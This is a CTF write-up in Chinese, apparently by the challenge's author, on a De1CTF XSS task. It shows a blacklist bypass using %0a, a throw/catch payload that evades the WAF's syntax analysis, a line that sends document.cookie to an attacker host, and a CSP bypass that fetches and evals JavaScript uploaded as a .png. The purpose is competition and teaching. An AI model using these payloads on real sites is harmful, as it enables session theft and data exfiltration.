一年一度的De1CTF又来了,这次出了道简单XSS题,下面是具体WriteUp。
题目描述
免费创建护照来展示你的岛屿!
第一关:绕过云WAF
云WAF通常有好几层好几种过滤手段,这里我也是设计了了两层防护
第一层:黑名单检测
1 | var blackList = []string{ |
黑名单的绕过思路无非避开被ban的字符串和字符,这里因为go的iris框架问题(看不出来是golang吧),导致;
后的东西会被删掉,可以用%0a绕过
第二层:静态语法分析
1 | 1. 将data传入`fmt.Sprintf("'%s';", data)`,然后进行语法解析,这里parse失败直接ban |
这一层waf,其实只要摸清ban的套路,针对性找到没被处理的语法来绕过即可,这里我的预期解是用throw传递变量,但是还有很多其他能用的语法(事实证明确实有很多
预期解payload:
1 | data=base64code'%0atry{throw 'ev'%2b'al'}catch(e){try{throw frames[e]}catch(c){c(atob(data))}}%0a// |
绕过WAF的两层防护之后本地能成功alert就可以用
1 | location.href = "http://xxxx/?" + btoa(ducument.cookie) |
打到管理员cookie了,cookie中包含一半的flag:
1 | FLAG=De1CTF{I_l1k4_ |
第二关:读取400张图片
另外一半flag,题目给了hint:
1 | 管理员在做什么? |
读取管理员的document,会发现有400多张png图片,flag就藏在这些图片当中,这里设计的时候预设了下面几种解法:
- 绕过CSP引入截图库,截图后把图片传到/upload,获取图片地址回传,然后下载图片
- 用for循环把400个图全部传到/upload,获取400个图片地址然后回传
- 直接读取图片回传,可以是写脚本一张一张传,也可以是用for循环批量传,但是回传过程需要编码转换,传回去后也需要再转成图片进行拼接
三种方法有简单的也有复杂的,国外三支队伍用的都是第三种,把所有图片dump出去(我猜大佬们没发现/upload接口 23333),而国内的选手用的是解法2,下面我详细介绍下绕过CSP引入截图库的解法,其他的方法也是类似,就不全写出来了(感兴趣的可以去看解出来的大佬们的wp)。
绕过CSP引入截图库
本题的主要功能是制造动森护照,主页是有一个上传文件接口的,利用/upload接口,可以上传任意png后缀的文件,然后用fetch读这个png文件,再eval一下,就可以绕过CSP引入html2canvas库并且执行了,上传的png文件如下
1 | ... |
这里我把截图操作的js也写到png里了,主要思路就是截图完用/upload传到服务器,获取返回的图片地址回传给攻击者
读取图片并执行
把图片用/upload接口上传后,获取png地址,再用可控的js部分去读取这个图片再执行即可
读取并执行的代码如下:
1 | fetch(`/static/images/xxxxxxxxx.png`).then(res=>res.text()).then(txt=>eval(txt)) |
用绕过第一关的办法包装一下就可以了
最后提交到bot就能接收到管理员界面截图的地址了,直接下载就能看到另一半flag了
1 | cool_GamE} |
最后flag:
1 | De1CTF{I_l1k4_cool_GamE} |
出题感想
出这道题的原因是因为最近一段时间工作上接触云WAF比较多,而印象中的xss题还没有静态语法分析相关的,本着realworld的想法就套进来了,而第二关一开始是看到了PNG绕过CSP那篇文章,但是出题到后面发现没加图片校验,算了还是简单点吧23333。
这次比赛一共4支队伍解出这道题,其中3支国外队伍(老外还是🐂),一支国内队伍,总而言之,个人对这次出的这道题还是比较满意的,真的沉下心去研究绕WAF、外传图片的人也是能学到东西的,这就够啦!